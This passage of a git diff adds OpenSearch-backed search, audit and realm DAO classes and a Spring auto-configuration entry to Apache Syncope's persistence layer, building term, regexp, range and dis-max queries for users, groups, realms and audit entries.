org.apache.syncope.core.spring.security.AuthContextUtils; +import org.apache.syncope.ext.opensearch.client.OpenSearchUtils; +import org.opensearch.client.json.JsonData; +import org.opensearch.client.opensearch.OpenSearchClient; +import org.opensearch.client.opensearch._types.FieldSort; +import org.opensearch.client.opensearch._types.FieldValue; +import org.opensearch.client.opensearch._types.SearchType; +import org.opensearch.client.opensearch._types.SortOptions; +import org.opensearch.client.opensearch._types.SortOrder; +import org.opensearch.client.opensearch._types.query_dsl.BoolQuery; +import org.opensearch.client.opensearch._types.query_dsl.DisMaxQuery; +import org.opensearch.client.opensearch._types.query_dsl.Query; +import org.opensearch.client.opensearch._types.query_dsl.QueryBuilders; +import org.opensearch.client.opensearch.core.CountRequest; +import org.opensearch.client.opensearch.core.SearchRequest; +import org.opensearch.client.opensearch.core.search.Hit; +import org.opensearch.client.opensearch.core.search.SourceConfig; +import org.springframework.util.CollectionUtils; + +/** + * Search engine implementation for users, groups and any objects, based on OpenSearch. + */ +public class OpenSearchAnySearchDAO extends AbstractAnySearchDAO { + + protected final OpenSearchClient client; + + protected final int indexMaxResultWindow; + + public OpenSearchAnySearchDAO( + final RealmDAO realmDAO, + final DynRealmDAO dynRealmDAO, + final UserDAO userDAO, + final GroupDAO groupDAO, + final AnyObjectDAO anyObjectDAO, + final PlainSchemaDAO schemaDAO, + final EntityFactory entityFactory, + final AnyUtilsFactory anyUtilsFactory, + final PlainAttrValidationManager validator, + final OpenSearchClient client, + final int indexMaxResultWindow) { + + super( + realmDAO, + dynRealmDAO, + userDAO, + groupDAO, + anyObjectDAO, + schemaDAO, + entityFactory, + anyUtilsFactory, + validator); + + this.client = client; + this.indexMaxResultWindow = indexMaxResultWindow; + } + + protected Triple, Set, Set> getAdminRealmsFilter( + final Realm base, + final boolean recursive, + final Set adminRealms, + final AnyTypeKind kind) { + + Set dynRealmKeys = new HashSet<>(); + Set groupOwners = new HashSet<>(); + List queries = new ArrayList<>(); + + if (recursive) { + adminRealms.forEach(realmPath -> { + Optional> goRealm = RealmUtils.parseGroupOwnerRealm(realmPath); + if (goRealm.isPresent()) { + groupOwners.add(goRealm.get().getRight()); + } else if (realmPath.startsWith("/")) { + Realm realm = Optional.ofNullable(realmDAO.findByFullPath(realmPath)).orElseThrow(() -> { + SyncopeClientException noRealm = SyncopeClientException.build(ClientExceptionType.InvalidRealm); + noRealm.getElements().add("Invalid realm specified: " + realmPath); + return noRealm; + }); + + realmDAO.findDescendants(realm.getFullPath(), base.getFullPath()). + forEach(descendant -> queries.add( + new Query.Builder().term(QueryBuilders.term(). + field("realm").value(FieldValue.of(descendant)).build()). + build())); + } else { + DynRealm dynRealm = dynRealmDAO.find(realmPath); + if (dynRealm == null) { + LOG.warn("Ignoring invalid dynamic realm {}", realmPath); + } else { + dynRealmKeys.add(dynRealm.getKey()); + queries.add(new Query.Builder().term(QueryBuilders.term(). + field("dynRealm").value(FieldValue.of(dynRealm.getKey())).build()). + build()); + } + } + }); + } else { + if (adminRealms.stream().anyMatch(r -> r.startsWith(base.getFullPath()))) { + queries.add(new Query.Builder().term(QueryBuilders.term(). + field("realm").value(FieldValue.of(base.getKey())).build()). + build()); + } + } + + return Triple.of( + dynRealmKeys.isEmpty() && groupOwners.isEmpty() + ? Optional.of(new Query.Builder().disMax(QueryBuilders.disMax().queries(queries).build()).build()) + : Optional.empty(), + dynRealmKeys, + groupOwners); + } + + protected Query getQuery( + final Realm base, + final boolean recursive, + final Set adminRealms, + final SearchCond cond, + final AnyTypeKind kind) { + + Query query; + if (SyncopeConstants.FULL_ADMIN_REALMS.equals(adminRealms)) { + query = getQuery(cond, kind); + + if (!recursive) { + query = new Query.Builder().bool( + QueryBuilders.bool(). + filter(new Query.Builder().term(QueryBuilders.term(). + field("realm").value(FieldValue.of(base.getKey())).build()). + build()). + filter(query).build()). + build(); + } + } else { + Triple, Set, Set> filter = + getAdminRealmsFilter(base, recursive, adminRealms, kind); + query = getQuery(buildEffectiveCond(cond, filter.getMiddle(), filter.getRight(), kind), kind); + + if (filter.getLeft().isPresent()) { + query = new Query.Builder().bool( + QueryBuilders.bool(). + filter(filter.getLeft().get()). + filter(query).build()). + build(); + } + } + + return query; + } + + @Override + protected int doCount( + final Realm base, + final boolean recursive, + final Set adminRealms, + final SearchCond cond, + final AnyTypeKind kind) { + + CountRequest request = new CountRequest.Builder(). + index(OpenSearchUtils.getAnyIndex(AuthContextUtils.getDomain(), kind)). + query(getQuery(base, recursive, adminRealms, cond, kind)). + build(); + LOG.debug("Count JSON request: {}", request); + + try { + return (int) client.count(request).count(); + } catch (Exception e) { + LOG.error("While counting in OpenSearch", e); + return 0; + } + } + + protected List sortBuilders( + final AnyTypeKind kind, + final List orderBy) { + + AnyUtils anyUtils = anyUtilsFactory.getInstance(kind); + + List options = new ArrayList<>(); + orderBy.forEach(clause -> { + String sortName = null; + + // Manage difference among external key attribute and internal JPA @Id + String fieldName = "key".equals(clause.getField()) ? "id" : clause.getField(); + + Field anyField = anyUtils.getField(fieldName); + if (anyField == null) { + PlainSchema schema = plainSchemaDAO.find(fieldName); + if (schema != null) { + sortName = fieldName; + } + } else { + sortName = fieldName; + } + + if (sortName == null) { + LOG.warn("Cannot build any valid clause from {}", clause); + } else { + options.add(new SortOptions.Builder().field( + new FieldSort.Builder(). + field(sortName). + order(clause.getDirection() == OrderByClause.Direction.ASC + ? SortOrder.Asc : SortOrder.Desc). + build()). + build()); + } + }); + return options; + } + + @Override + protected > List doSearch( + final Realm base, + final boolean recursive, + final Set adminRealms, + final SearchCond cond, + final int page, + final int itemsPerPage, + final List orderBy, + final AnyTypeKind kind) { + + SearchRequest request = new SearchRequest.Builder(). + index(OpenSearchUtils.getAnyIndex(AuthContextUtils.getDomain(), kind)). + searchType(SearchType.QueryThenFetch). + query(getQuery(base, recursive, adminRealms, cond, kind)). + from(itemsPerPage * (page <= 0 ? 0 : page - 1)). + size(itemsPerPage < 0 ? indexMaxResultWindow : itemsPerPage). + sort(sortBuilders(kind, orderBy)). + fields(List.of()).source(new SourceConfig.Builder().fetch(false).build()). + build(); + LOG.debug("Search JSON request: {}", request); + + List> esResult = null; + try { + esResult = client.search(request, Void.class).hits().hits(); + } catch (Exception e) { + LOG.error("While searching in OpenSearch", e); + } + + return CollectionUtils.isEmpty(esResult) + ? List.of() + : buildResult(esResult.stream().map(Hit::id).collect(Collectors.toList()), kind); + } + + protected Query getQuery(final SearchCond cond, final AnyTypeKind kind) { + Query query = null; + + switch (cond.getType()) { + case LEAF: + case NOT_LEAF: + query = cond.getLeaf(AnyTypeCond.class). + filter(leaf -> AnyTypeKind.ANY_OBJECT == kind). + map(this::getQuery). + orElse(null); + + if (query == null) { + query = cond.getLeaf(RelationshipTypeCond.class). + filter(leaf -> AnyTypeKind.GROUP != kind). + map(this::getQuery). + orElse(null); + } + + if (query == null) { + query = cond.getLeaf(RelationshipCond.class). + filter(leaf -> AnyTypeKind.GROUP != kind). + map(this::getQuery). + orElse(null); + } + + if (query == null) { + query = cond.getLeaf(MembershipCond.class). + filter(leaf -> AnyTypeKind.GROUP != kind). + map(this::getQuery). + orElse(null); + } + + if (query == null) { + query = cond.getLeaf(MemberCond.class). + filter(leaf -> AnyTypeKind.GROUP == kind). + map(this::getQuery). + orElse(null); + } + + if (query == null) { + query = cond.getLeaf(RoleCond.class). + filter(leaf -> AnyTypeKind.USER == kind). + map(this::getQuery). + orElse(null); + } + + if (query == null) { + query = cond.getLeaf(PrivilegeCond.class). + filter(leaf -> AnyTypeKind.USER == kind). + map(this::getQuery). + orElse(null); + } + + if (query == null) { + query = cond.getLeaf(DynRealmCond.class). + map(this::getQuery). + orElse(null); + } + + if (query == null) { + query = cond.getLeaf(AuxClassCond.class). + map(this::getQuery). + orElse(null); + } + + if (query == null) { + query = cond.getLeaf(ResourceCond.class). + map(this::getQuery). + orElse(null); + } + + if (query == null) { + query = cond.getLeaf(AnyCond.class).map(ac -> getQuery(ac, kind)). + or(() -> cond.getLeaf(AttrCond.class).map(ac -> getQuery(ac, kind))). + orElse(null); + } + + // allow for additional search conditions + if (query == null) { + query = getQueryForCustomConds(cond, kind); + } + + if (query == null) { + throw new IllegalArgumentException("Cannot construct QueryBuilder"); + } + + if (cond.getType() == SearchCond.Type.NOT_LEAF) { + query = new Query.Builder().bool(QueryBuilders.bool().mustNot(query).build()).build(); + } + break; + + case AND: + List andCompound = new ArrayList<>(); + + Query andLeft = getQuery(cond.getLeft(), kind); + if (andLeft._kind() == Query.Kind.Bool && !((BoolQuery) andLeft._get()).filter().isEmpty()) { + andCompound.addAll(((BoolQuery) andLeft._get()).filter()); + } else { + andCompound.add(andLeft); + } + + Query andRight = getQuery(cond.getRight(), kind); + if (andRight._kind() == Query.Kind.Bool && !((BoolQuery) andRight._get()).filter().isEmpty()) { + andCompound.addAll(((BoolQuery) andRight._get()).filter()); + } else { + andCompound.add(andRight); + } + + query = new Query.Builder().bool(QueryBuilders.bool().filter(andCompound).build()).build(); + break; + + case OR: + List orCompound = new ArrayList<>(); + + Query orLeft = getQuery(cond.getLeft(), kind); + if (orLeft._kind() == Query.Kind.DisMax) { + orCompound.addAll(((DisMaxQuery) orLeft._get()).queries()); + } else { + orCompound.add(orLeft); + } + + Query orRight = getQuery(cond.getRight(), kind); + if (orRight._kind() == Query.Kind.DisMax) { + orCompound.addAll(((DisMaxQuery) orRight._get()).queries()); + } else { + orCompound.add(orRight); + } + + query = new Query.Builder().disMax(QueryBuilders.disMax().queries(orCompound).build()).build(); + break; + + default: + } + + return query; + } + + protected Query getQuery(final AnyTypeCond cond) { + return new Query.Builder().term(QueryBuilders.term(). + field("anyType").value(FieldValue.of(cond.getAnyTypeKey())).build()). + build(); + } + + protected Query getQuery(final RelationshipTypeCond cond) { + return new Query.Builder().term(QueryBuilders.term(). + field("relationshipTypes").value(FieldValue.of(cond.getRelationshipTypeKey())).build()). + build(); + } + + protected Query getQuery(final RelationshipCond cond) { + List queries = check(cond).stream(). + map(key -> new Query.Builder().term(QueryBuilders.term(). + field("relationships").value(FieldValue.of(key)).build()). + build()).collect(Collectors.toList()); + + return queries.size() == 1 + ? queries.get(0) + : new Query.Builder().disMax(QueryBuilders.disMax().queries(queries).build()).build(); + } + + protected Query getQuery(final MembershipCond cond) { + List queries = check(cond).stream(). + map(key -> new Query.Builder().term(QueryBuilders.term(). + field("memberships").value(FieldValue.of(key)).build()). + build()).collect(Collectors.toList()); + + return queries.size() == 1 + ? queries.get(0) + : new Query.Builder().disMax(QueryBuilders.disMax().queries(queries).build()).build(); + } + + protected Query getQuery(final RoleCond cond) { + return new Query.Builder().term(QueryBuilders.term(). + field("roles").value(FieldValue.of(cond.getRole())).build()). + build(); + } + + protected Query getQuery(final PrivilegeCond cond) { + return new Query.Builder().term(QueryBuilders.term(). + field("privileges").value(FieldValue.of(cond.getPrivilege())).build()). + build(); + } + + protected Query getQuery(final DynRealmCond cond) { + return new Query.Builder().term(QueryBuilders.term(). + field("dynRealms").value(FieldValue.of(cond.getDynRealm())).build()). + build(); + } + + protected Query getQuery(final MemberCond cond) { + List queries = check(cond).stream(). + map(key -> new Query.Builder().term(QueryBuilders.term(). + field("members").value(FieldValue.of(key)).build()). + build()).collect(Collectors.toList()); + + return queries.size() == 1 + ? queries.get(0) + : new Query.Builder().disMax(QueryBuilders.disMax().queries(queries).build()).build(); + } + + protected Query getQuery(final AuxClassCond cond) { + return new Query.Builder().term(QueryBuilders.term(). + field("auxClasses").value(FieldValue.of(cond.getAuxClass())).build()). + build(); + } + + protected Query getQuery(final ResourceCond cond) { + return new Query.Builder().term(QueryBuilders.term(). + field("resources").value(FieldValue.of(cond.getResource())).build()). + build(); + } + + protected Query fillAttrQuery( + final PlainSchema schema, + final PlainAttrValue attrValue, + final AttrCond cond) { + + Object value = schema.getType() == AttrSchemaType.Date && attrValue.getDateValue() != null + ? FormatUtils.format(attrValue.getDateValue()) + : attrValue.getValue(); + + Query query = null; + + switch (cond.getType()) { + case ISNOTNULL: + query = new Query.Builder().exists(QueryBuilders.exists().field(schema.getKey()).build()).build(); + break; + + case ISNULL: + query = new Query.Builder().bool(QueryBuilders.bool().mustNot( + new Query.Builder().exists(QueryBuilders.exists().field(schema.getKey()).build()).build()). + build()).build(); + break; + + case ILIKE: + StringBuilder output = new StringBuilder(); + for (char c : cond.getExpression().toLowerCase().replace("\\_", "_").toCharArray()) { + if (c == '%') { + output.append(".*"); + } else if (Character.isLetter(c)) { + output.append('['). + append(c). + append(Character.toUpperCase(c)). + append(']'); + } else { + output.append(OpenSearchUtils.escapeForLikeRegex(c)); + } + } + query = new Query.Builder().regexp(QueryBuilders.regexp(). + field(schema.getKey()).value(output.toString()).build()).build(); + break; + + case LIKE: + query = new Query.Builder().wildcard(QueryBuilders.wildcard(). + field(schema.getKey()).value(cond.getExpression().replace('%', '*').replace("\\_", "_")). + build()).build(); + break; + + case IEQ: + query = new Query.Builder().match(QueryBuilders.match(). + field(schema.getKey()).query(FieldValue.of(cond.getExpression().toLowerCase())).build()). + build(); + break; + + case EQ: + FieldValue fieldValue; + if (value instanceof Double) { + fieldValue = FieldValue.of((Double) value); + } else if (value instanceof Long) { + fieldValue = FieldValue.of((Long) value); + } else if (value instanceof Boolean) { + fieldValue = FieldValue.of((Boolean) value); + } else { + fieldValue = FieldValue.of(value.toString()); + } + query = new Query.Builder().term(QueryBuilders.term(). + field(schema.getKey()).value(fieldValue).build()). + build(); + break; + + case GE: + query = new Query.Builder().range(QueryBuilders.range(). + field(schema.getKey()).gte(JsonData.of(value)).build()). + build(); + break; + + case GT: + query = new Query.Builder().range(QueryBuilders.range(). + field(schema.getKey()).gt(JsonData.of(value)).build()). + build(); + break; + + case LE: + query = new Query.Builder().range(QueryBuilders.range(). + field(schema.getKey()).lte(JsonData.of(value)).build()). + build(); + break; + + case LT: + query = new Query.Builder().range(QueryBuilders.range(). + field(schema.getKey()).lt(JsonData.of(value)).build()). + build(); + break; + + default: + } + + return query; + } + + protected Query getQuery(final AttrCond cond, final AnyTypeKind kind) { + Pair checked = check(cond, kind); + + return fillAttrQuery(checked.getLeft(), checked.getRight(), cond); + } + + protected Query getQuery(final AnyCond cond, final AnyTypeKind kind) { + if (JAXRSService.PARAM_REALM.equals(cond.getSchema()) && cond.getExpression().startsWith("/")) { + Realm realm = Optional.ofNullable(realmDAO.findByFullPath(cond.getExpression())). + orElseThrow(() -> new IllegalArgumentException("Invalid Realm full path: " + cond.getExpression())); + cond.setExpression(realm.getKey()); + } + + Triple checked = check(cond, kind); + + return fillAttrQuery(checked.getLeft(), checked.getMiddle(), checked.getRight()); + } + + protected Query getQueryForCustomConds(final SearchCond cond, final AnyTypeKind kind) { + return null; + } +} diff --git a/ext/opensearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/OpenSearchAuditConfDAO.java b/ext/opensearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/OpenSearchAuditConfDAO.java new file mode 100644 index 00000000000..a285dcf3d0f --- /dev/null +++ b/ext/opensearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/OpenSearchAuditConfDAO.java @@ -0,0 +1,209 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.dao; + +import com.fasterxml.jackson.databind.node.ObjectNode; +import java.io.IOException; +import java.time.OffsetDateTime; +import java.util.ArrayList; +import java.util.List; +import java.util.Objects; +import java.util.stream.Collectors; +import org.apache.commons.lang3.StringUtils; +import org.apache.syncope.common.lib.audit.AuditEntry; +import org.apache.syncope.common.lib.types.AuditElements; +import org.apache.syncope.core.persistence.api.dao.search.OrderByClause; +import org.apache.syncope.core.provisioning.api.serialization.POJOHelper; +import org.apache.syncope.core.spring.security.AuthContextUtils; +import org.apache.syncope.ext.opensearch.client.OpenSearchUtils; +import org.opensearch.client.json.JsonData; +import org.opensearch.client.opensearch.OpenSearchClient; +import org.opensearch.client.opensearch._types.FieldSort; +import org.opensearch.client.opensearch._types.FieldValue; +import org.opensearch.client.opensearch._types.SearchType; +import org.opensearch.client.opensearch._types.SortOptions; +import org.opensearch.client.opensearch._types.SortOrder; +import org.opensearch.client.opensearch._types.query_dsl.Query; +import org.opensearch.client.opensearch._types.query_dsl.QueryBuilders; +import org.opensearch.client.opensearch._types.query_dsl.TextQueryType; +import org.opensearch.client.opensearch.core.CountRequest; +import org.opensearch.client.opensearch.core.SearchRequest; +import org.opensearch.client.opensearch.core.search.Hit; +import org.springframework.util.CollectionUtils; + +public class OpenSearchAuditConfDAO extends JPAAuditConfDAO { + + protected final OpenSearchClient client; + + protected final int indexMaxResultWindow; + + public OpenSearchAuditConfDAO(final OpenSearchClient client, final int indexMaxResultWindow) { + this.client = client; + this.indexMaxResultWindow = indexMaxResultWindow; + } + + protected Query getQuery( + final String entityKey, + final AuditElements.EventCategoryType type, + final String category, + final String subcategory, + final List events, + final AuditElements.Result result, + final OffsetDateTime before, + final OffsetDateTime after) { + + List queries = new ArrayList<>(); + + if (entityKey != null) { + queries.add(new Query.Builder(). + multiMatch(QueryBuilders.multiMatch(). + fields("message.before", "message.inputs", "message.output", "message.throwable"). + type(TextQueryType.Phrase). + query(entityKey).build()).build()); + } + + if (type != null) { + queries.add(new Query.Builder(). + term(QueryBuilders.term().field("message.logger.type").value(FieldValue.of(type.name())).build()). + build()); + } + + if (StringUtils.isNotBlank(category)) { + queries.add(new Query.Builder(). + term(QueryBuilders.term().field("message.logger.category").value(FieldValue.of(category)).build()). + build()); + } + + if (StringUtils.isNotBlank(subcategory)) { + queries.add(new Query.Builder(). + term(QueryBuilders.term().field("message.logger.subcategory"). + value(FieldValue.of(subcategory)).build()). + build()); + } + + List eventQueries = events.stream().map(event -> new Query.Builder(). + term(QueryBuilders.term().field("message.logger.event").value(FieldValue.of(event)).build()). + build()). + collect(Collectors.toList()); + if (!eventQueries.isEmpty()) { + queries.add(new Query.Builder().disMax(QueryBuilders.disMax().queries(eventQueries).build()).build()); + } + + if (result != null) { + queries.add(new Query.Builder(). + term(QueryBuilders.term().field("message.logger.result"). + value(FieldValue.of(result.name())).build()). + build()); + } + + if (before != null) { + queries.add(new Query.Builder(). + range(QueryBuilders.range(). + field("instant").lte(JsonData.of(before.toInstant().toEpochMilli())).build()). + build()); + } + + if (after != null) { + queries.add(new Query.Builder(). + range(QueryBuilders.range(). + field("instant").gte(JsonData.of(after.toInstant().toEpochMilli())).build()). + build()); + } + + return new Query.Builder().bool(QueryBuilders.bool().filter(queries).build()).build(); + } + + @Override + public int countEntries( + final String entityKey, + final AuditElements.EventCategoryType type, + final String category, + final String subcategory, + final List events, + final AuditElements.Result result, + final OffsetDateTime before, + final OffsetDateTime after) { + + CountRequest request = new CountRequest.Builder(). + index(OpenSearchUtils.getAuditIndex(AuthContextUtils.getDomain())). + query(getQuery(entityKey, type, category, subcategory, events, result, before, after)). + build(); + try { + return (int) client.count(request).count(); + } catch (IOException e) { + LOG.error("Search error", e); + return 0; + } + } + + protected List sortBuilders(final List orderBy) { + return orderBy.stream().map(clause -> { + String sortField = clause.getField(); + if ("EVENT_DATE".equalsIgnoreCase(sortField)) { + sortField = "message.date"; + } + + return new SortOptions.Builder().field( + new FieldSort.Builder(). + field(sortField). + order(clause.getDirection() == OrderByClause.Direction.ASC + ? SortOrder.Asc : SortOrder.Desc). + build()). + build(); + }).collect(Collectors.toList()); + } + + @Override + public List searchEntries( + final String entityKey, + final int page, + final int itemsPerPage, + final AuditElements.EventCategoryType type, + final String category, + final String subcategory, + final List events, + final AuditElements.Result result, + final OffsetDateTime before, + final OffsetDateTime after, + final List orderBy) { + + SearchRequest request = new SearchRequest.Builder(). + index(OpenSearchUtils.getAuditIndex(AuthContextUtils.getDomain())). + searchType(SearchType.QueryThenFetch). + query(getQuery(entityKey, type, category, subcategory, events, result, before, after)). + fields(f -> f.field("message")). + from(itemsPerPage * (page <= 0 ? 0 : page - 1)). + size(itemsPerPage < 0 ? indexMaxResultWindow : itemsPerPage). + sort(sortBuilders(orderBy)). + build(); + + List> esResult = null; + try { + esResult = client.search(request, ObjectNode.class).hits().hits(); + } catch (Exception e) { + LOG.error("While searching in OpenSearch", e); + } + + return CollectionUtils.isEmpty(esResult) + ? List.of() + : esResult.stream(). + map(hit -> POJOHelper.convertValue(hit.source().get("message"), AuditEntry.class)). + filter(Objects::nonNull).collect(Collectors.toList()); + } +} diff --git a/ext/opensearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/OpenSearchRealmDAO.java b/ext/opensearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/OpenSearchRealmDAO.java new file mode 100644 index 00000000000..140f906ff05 --- /dev/null +++ b/ext/opensearch/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/OpenSearchRealmDAO.java @@ -0,0 +1,263 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.dao; + +import java.util.ArrayList; +import java.util.List; +import java.util.Set; +import java.util.stream.Collectors; +import org.apache.commons.lang3.StringUtils; +import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.core.persistence.api.dao.MalformedPathException; +import org.apache.syncope.core.persistence.api.dao.RoleDAO; +import org.apache.syncope.core.persistence.api.entity.Realm; +import org.apache.syncope.core.spring.security.AuthContextUtils; +import org.apache.syncope.ext.opensearch.client.OpenSearchUtils; +import org.opensearch.client.opensearch.OpenSearchClient; +import org.opensearch.client.opensearch._types.FieldValue; +import org.opensearch.client.opensearch._types.ScriptSortType; +import org.opensearch.client.opensearch._types.SearchType; +import org.opensearch.client.opensearch._types.SortOptions; +import org.opensearch.client.opensearch._types.SortOrder; +import org.opensearch.client.opensearch._types.query_dsl.Query; +import org.opensearch.client.opensearch._types.query_dsl.QueryBuilders; +import org.opensearch.client.opensearch.core.CountRequest; +import org.opensearch.client.opensearch.core.SearchRequest; +import org.opensearch.client.opensearch.core.search.Hit; +import org.springframework.context.ApplicationEventPublisher; +import org.springframework.transaction.annotation.Transactional; + +public class OpenSearchRealmDAO extends JPARealmDAO { + + protected static final List ES_SORT_OPTIONS_REALM = List.of( + new SortOptions.Builder(). + script(s -> s.type(ScriptSortType.Number). + script(t -> t.inline(i -> i.lang("painless"). + source("doc['fullPath'].value.chars().filter(ch -> ch == '/').count()"))). + order(SortOrder.Asc)). + build()); + + protected final OpenSearchClient client; + + protected final int indexMaxResultWindow; + + public OpenSearchRealmDAO( + final RoleDAO roleDAO, + final ApplicationEventPublisher publisher, + final OpenSearchClient client, + final int indexMaxResultWindow) { + + super(roleDAO, publisher); + this.client = client; + this.indexMaxResultWindow = indexMaxResultWindow; + } + + @Transactional(readOnly = true) + @Override + public Realm findByFullPath(final String fullPath) { + if (SyncopeConstants.ROOT_REALM.equals(fullPath)) { + return getRoot(); + } + + if (StringUtils.isBlank(fullPath) || !PATH_PATTERN.matcher(fullPath).matches()) { + throw new MalformedPathException(fullPath); + } + + SearchRequest request = new SearchRequest.Builder(). + index(OpenSearchUtils.getRealmIndex(AuthContextUtils.getDomain())). + searchType(SearchType.QueryThenFetch). + query(new Query.Builder().term(QueryBuilders.term(). + field("fullPath").value(FieldValue.of(fullPath)).build()).build()). + size(1). + build(); + + try { + String result = client.search(request, Void.class).hits().hits().stream().findFirst(). + map(Hit::id). + orElse(null); + return find(result); + } catch (Exception e) { + LOG.error("While searching ES for one match", e); + } + + return null; + } + + protected List search(final Query query) { + SearchRequest request = new SearchRequest.Builder(). + index(OpenSearchUtils.getRealmIndex(AuthContextUtils.getDomain())). + searchType(SearchType.QueryThenFetch). + query(query). + sort(ES_SORT_OPTIONS_REALM). + build(); + + try { + return client.search(request, Void.class).hits().hits().stream(). + map(Hit::id). + collect(Collectors.toList()); + } catch (Exception e) { + LOG.error("While searching in OpenSearch", e); + return List.of(); + } + } + + @Override + public List findByName(final String name) { + List result = search( + new Query.Builder().term(QueryBuilders.term(). + field("name").value(FieldValue.of(name)).build()).build()); + return result.stream().map(this::find).collect(Collectors.toList()); + } + + @Override + public List findChildren(final Realm realm) { + List result = search( + new Query.Builder().term(QueryBuilders.term(). + field("parent_id").value(FieldValue.of(realm.getKey())).build()).build()); + return result.stream().map(this::find).collect(Collectors.toList()); + } + + protected Query buildDescendantsQuery(final Set bases, final String keyword) { + List basesQueries = new ArrayList<>(); + bases.forEach(base -> { + basesQueries.add(new Query.Builder().term(QueryBuilders.term(). + field("fullPath").value(FieldValue.of(base)).build()).build()); + basesQueries.add(new Query.Builder().regexp(QueryBuilders.regexp(). + field("fullPath").value(SyncopeConstants.ROOT_REALM.equals(base) ? "/.*" : base + "/.*"). + build()).build()); + }); + Query prefix = new Query.Builder().disMax(QueryBuilders.disMax().queries(basesQueries).build()).build(); + if (keyword == null) { + return prefix; + } + + StringBuilder output = new StringBuilder(); + for (char c : keyword.toLowerCase().toCharArray()) { + if (c == '%') { + output.append(".*"); + } else if (Character.isLetter(c)) { + output.append('['). + append(c). + append(Character.toUpperCase(c)). + append(']'); + } else { + output.append(OpenSearchUtils.escapeForLikeRegex(c)); + } + } + + return new Query.Builder().bool(QueryBuilders.bool().filter( + prefix, + new Query.Builder().regexp(QueryBuilders.regexp(). + field("name").value(output.toString()).build()). + build()).build()). + build(); + } + + @Override + public int countDescendants(final String base, final String keyword) { + return countDescendants(Set.of(base), keyword); + } + + @Override + public int countDescendants(final Set bases, final String keyword) { + CountRequest request = new CountRequest.Builder(). + index(OpenSearchUtils.getRealmIndex(AuthContextUtils.getDomain())). + query(buildDescendantsQuery(bases, keyword)). + build(); + + try { + return (int) client.count(request).count(); + } catch (Exception e) { + LOG.error("While counting in Elasticsearch", e); + return 0; + } + } + + @Override + public List findDescendants( + final String base, + final String keyword, + final int page, + final int itemsPerPage) { + + return findDescendants(Set.of(base), keyword, page, itemsPerPage); + } + + @Override + public List findDescendants( + final Set bases, + final String keyword, + final int page, + final int itemsPerPage) { + + SearchRequest request = new SearchRequest.Builder(). + index(OpenSearchUtils.getRealmIndex(AuthContextUtils.getDomain())). + searchType(SearchType.QueryThenFetch). + query(buildDescendantsQuery(bases, keyword)). + from(itemsPerPage * (page <= 0 ? 0 : page - 1)). + size(itemsPerPage < 0 ? indexMaxResultWindow : itemsPerPage). + sort(ES_SORT_OPTIONS_REALM). + build(); + + List result = List.of(); + try { + result = client.search(request, Void.class).hits().hits().stream(). + map(Hit::id). + collect(Collectors.toList()); + } catch (Exception e) { + LOG.error("While searching in OpenSearch", e); + } + + return result.stream().map(this::find).collect(Collectors.toList()); + } + + @Override + public List findDescendants(final String base, final String prefix) { + Query prefixQuery = new Query.Builder().disMax(QueryBuilders.disMax().queries( + new Query.Builder().term(QueryBuilders.term(). + field("fullPath").value(FieldValue.of(prefix)).build()).build(), + new Query.Builder().prefix(QueryBuilders.prefix(). + field("fullPath").value(SyncopeConstants.ROOT_REALM.equals(prefix) ? "/" : prefix + "/"). + build()).build()).build()).build(); + + Query query = new Query.Builder().bool(QueryBuilders.bool().filter( + buildDescendantsQuery(Set.of(base), null), + prefixQuery).build()). + build(); + + SearchRequest request = new SearchRequest.Builder(). + index(OpenSearchUtils.getRealmIndex(AuthContextUtils.getDomain())). + searchType(SearchType.QueryThenFetch). + query(query). + from(0). + size(indexMaxResultWindow). + sort(ES_SORT_OPTIONS_REALM). + build(); + + List result = List.of(); + try { + result = client.search(request, Void.class).hits().hits().stream(). + map(Hit::id). + collect(Collectors.toList()); + } catch (Exception e) { + LOG.error("While searching in OpenSearch", e); + } + return result; + } +} diff --git a/ext/opensearch/persistence-jpa/src/main/resources/META-INF/spring.factories b/ext/opensearch/persistence-jpa/src/main/resources/META-INF/spring.factories new file mode 100644 index 00000000000..690d72d55e7 --- /dev/null +++ b/ext/opensearch/persistence-jpa/src/main/resources/META-INF/spring.factories @@ -0,0 +1,19 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +org.springframework.boot.autoconfigure.EnableAutoConfiguration=\ + org.apache.syncope.core.persistence.jpa.OpenSearchPersistenceContext diff --git a/ext/opensearch/persistence-jpa/src/test/java/org/apache/syncope/core/persistence/jpa/dao/OpenSearchAnySearchDAOTest.java 